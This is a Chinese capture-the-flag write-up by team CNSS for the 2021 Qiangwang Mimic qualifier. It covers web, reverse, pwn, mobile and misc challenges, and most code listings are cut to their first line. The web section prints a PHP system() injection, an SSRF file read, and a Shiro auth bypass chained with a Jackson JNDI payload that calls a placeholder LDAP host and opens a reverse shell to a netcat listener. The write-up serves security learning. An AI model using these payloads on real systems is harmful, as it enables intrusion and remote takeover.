拟态 2021 预选赛 Writeup - CNSS
第四届强网杯拟态挑战赛线上预选赛 Writeup By CNSS
Web
zerocalc
魔改过的 notevil 1.3.3
,
题目内提示了可以任意读文件
readFile('./src/index.js')
1 | const express = require("express"); |
再拿题目内的 notevil 和 GitHub 源码 对比,
1 | $ diff notevil/index.js test/node_modules/notevil/index.js |
搞了半天发现,//flag in root directory but name is randomized
这句话没用
直接 readFile('/flag')
就出了
new_hospital
/feature.php?id=
页面底部有报错回显
猜测是这个逻辑
1 | echo file_get_contents($id + '.js'); |
http 协议打一个 SSRF,用 # 或者 ? 过掉拼接的 .js
,
测试发现有 flag.php
,但是读不到
除此之外,有 cookie 会用 base64 记录 file_get_contents
的参数
多次寻求未果之后扫目录,发现存在 /old
,
/old/feature.php
会使用 API 作为 file_get_contents
的参数
改掉 cookie 里的 API 就行了
1 | file:///var/www/html/flag.php |
ezPickle
https://github.com/EddieIvan01/pker
1 | notadmin = GLOBAL('config', 'notadmin') |
EasyFilter
1 | ?action=w&c=<?php system('ls / -al;ls -al;cat /flag');?> |
看报错猜逻辑
原因可能是 resouce=.
这里,php 在解释的时候先尝试让 filter/
后作为过滤器应用
发现都没法作为过滤器应用,最后再尝试读取 resource 后的作路径
所以读取的时候可以拼接一个过滤器
Jack-Shiro
Shiro 的鉴权洞 CVE-2020-11989
1 | http://123.60.26.60:32766/;/json |
下一步推测有 Jackson 的 json 反序列化洞,
找到 Jackson-2653,没有 CVE 编号
POC
1 | ["org.apache.shiro.jndi.JndiObjectFactory",{"resourceName":"ldap://<ip>:<port>/Exploit"}] |
打个 JNDI 注入,https://xz.aliyun.com/t/6633 可以参考这个起 rmi、ldap 服务
直接用工具方便一点,https://github.com/feihong-cs/JNDIExploit
在VPS上面跑
1 | docker run -it -p 60002:60002 -p 60003:60003 -v /home/casio/JNDIExploit/:/JNDIExploit openjdk:8u181-jdk |
1 | java -jar JNDIExploit.jar -i 127.0.0.1 -l 60002 -p 60003 |
1 | nc -lvvp 60008 |
EXP
1 | ["org.apache.shiro.jndi.JndiObjectFactory",{"resourceName":"ldap://<ip>:60002/Deserialization/CommonsBeanutils1/ReverseShell/<ip>/60008"}] |
Give_me_your_0day
未解出
Reverse
fastjs
修改 QuickJS
源码
添加宏定义 #define DUMP_BYTECODE (1)
在 JS_ReadFunctionTag
函数中添加 js_dump_function_bytecode(ctx, b);
提取 fastjs
中的字节码重新编译得到可读的 opcode
通过符号可以找到用于加密的源代码
1 | function long2str(v, w) { |
执行下面的命令得到 flag
1 | Base64.decode64(xxtea_decrypt("05aed0ce441f80b5bc36af4c698509fc6cc3c97146353de5a95c6abea07fd4a7070932d86ac32d628672a59123e5972331db5dffe7057362","no_thing_is_true")) |
marmgic
程序实现了一个类似于魔方的变形
根据校验的表达式,可以在54块中选5个进行组合
从而求出每个面的边角以及中心的块
由于变形过程中魔方边角的三个块具有固定的相对位置
所以可以推断出每个块在面上的具体位置
最后枚举每个面上剩余四个块的排列即可得到答案
1 |
|
loop
从 TCP
读取从 @
开始到 !
结束的节点序列
程序会对路径上所有的有向边权值进行求和
每一次循环时首先会从 TCP
读取之前的求和结果以及节点序列
随后将当前有向边的权值累加到求和结果中
再将新的求和结果以及剩余的节点序列的写入到 TCP
中
等待下一次循环继续处理
最终求和结果不大于 0xD47C5
时会返回 Right
DWORD GRAPH_TABLE[128][128]
是有向边权值表
设置起点和终点分别是 @
和 !
,直接 DFS
搜索即可
1 |
|
show_your_flag
未解出
Pwn
bitflip
1 | def add(idx, size): |
old_school
1 | def add(idx, size): |
old_school_revenge
1 | def add(idx, size): |
oldecho
1 | def exp(): |
random_heap
1 | def add(idx, size): |
bornote
1 | def add(size): |
pwnpwn
1 | from pwn import * |
sonic
1 | def exp(): |
Mobile
HaHaHaHa
- 程序逻辑
- 初始化的时候对 algflag 和加密的 keys 都进行了变换
- 8 个输入,每个输入长度为 8 的 string,经过转化为 4 btyes
- 每组分别计算 hash,提取 4 个 bytes 的最高位作为选择算法的 algflag(查看最后的 check 算法可以看出来这个 algflag 是固定的)剩下的数据用于计算
- 将 hash 结果与 cipher 比较
写个同样算法的 java 程序挨个进行爆破就行了,题目提示了没有小写字母。最后注意某些情况需要调整端序
HmacSha512 部分爆破代码,对于其他算法都是一样的
1 | import java.security.MessageDigest; |
StudyDesk
- 程序逻辑
- 输入经过 index_of 来生成关于 index 的 01 串
- 将 01 串转化为 bytes 数组
- 最后与一个算法的结果进行比较,算法不涉及 input,直接 copy 到 java 里面跑出来
然后写个脚本逆推即可
1 | cipher = [0x73, 0x6F, 43, 0x72, 0x74, 45, 0x30, 36, 84, 98, 89, 36, 38, 66, 38, 43, 84, 0x79, 50, 101, 101, 43, 100, 87, 69, 0x6F, 51, 66, 89, 49, 69, 51, 101, 51, 53, 0x74, 45, 98, 98, 0x72, 50, 36, 98, 50, 85, 85, 85, 107, 66, 36, 53, 51, 0x6F, 0x72, 89, 89, 66, 50, 33, 66, 0x5F, 66, 101, 0x79, 0x5F, 0x40, 33, 66, 50, 0x40, 85, 85, 45, 43, 36, 50, 0x74, 0x30, 85, 0x73, 0x5F, 0x40, 49, 0x72, 50, 101, 101, 51, 51, 43, 53, 51, 53, 51, 85, 50, 0x40, 0x79, 53, 36, 0x40, 69, 89, 98, 45, 0x6F, 101, 36, 97, 66, 100, 0x30, 0x73, 97, 0x30, 36, 0x6F, 101, 50, 0x5F, 49, 0x30, 0x40, 89, 0x74, 85, 0x30, 85, 0x73, 89, 43, 89, 97, 0x30, 89, 0x72, 97, 100, 38, 50, 0x74, 51, 98, 0x75, 0x5F, 50, 0x74, 0x73, 0x6F, 84, 98, 89, 69, 0x6F, 100, 0x30, 0x6F, 98, 89, 0x72, 0x40, 50, 36, 66, 89, 101, 0x72, 51, 84, 51, 50, 36, 38, 0x40, 0x30, 53, 51, 0x30, 49, 97, 0x74, 89, 101, 85, 97, 66, 84, 97, 45, 43, 100, 89, 45, 0x30, 0x73, 0x30, 0x40, 97, 100, 98, 51, 100, 0x6F, 0x73, 50, 53, 101, 66, 101, 0x6F, 0x75, 50, 45, 0x5F, 51, 82, 50, 89, 87, 101, 50, 89, 0x30, 89, 101, 43, 89, 36, 38, 61, 101, 0x40, 84, 89, 0x5F, 66, 0x74, 49, 0x40, 87, 97, 43, 0x5F, 0x73, 43, 0x30, 89, 45, 84, 89, 33, 89, 107, 53, 85, 0x30, 98, 98, 0x5F, 50, 107, 66, 101, 0x6F, 51, 97, 33, 66, 97, 0x75, 51, 0x74, 51, 97, 0x40, 89, 107, 98, 51, 69, 0x40, 73, 0x5F, 0x30, 85, 0x74, 0x30, 97] |
1 | import java.io.ByteArrayOutputStream; |
FamilyBucket
未解出
Good
未解出
Crypto
拟态签到题
base64 点击即送
其余未解出
Misc
BlueWhale
从流量包中可以得到登录 OpenWrt
的密码,和 inside.zip
中 password.txt
的 CRC
结果相同
从而可以通过明文攻击得到压缩包密码
最后在解压得到的图片中可以提取 LSB
中的 flag
其余未解出